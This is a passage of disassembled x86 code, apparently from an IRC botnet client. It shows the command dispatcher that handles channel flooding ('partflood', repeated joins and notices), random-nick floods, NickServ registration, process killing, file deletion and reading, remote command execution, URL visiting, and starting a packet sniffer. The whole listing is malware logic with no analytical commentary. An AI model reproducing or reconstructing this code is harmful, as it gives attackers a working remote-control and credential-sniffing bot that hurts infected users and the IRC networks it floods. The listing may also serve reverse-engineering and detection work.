		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B538
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B534
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B51C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B508
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B498
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B484
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B480
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B458
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B520
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B410
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3F8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B410
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D403C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB03C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA75C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B380
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B280
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B250
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_42B214
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B1AC
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B184
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B154
		push	eax
		call	sub_41B886
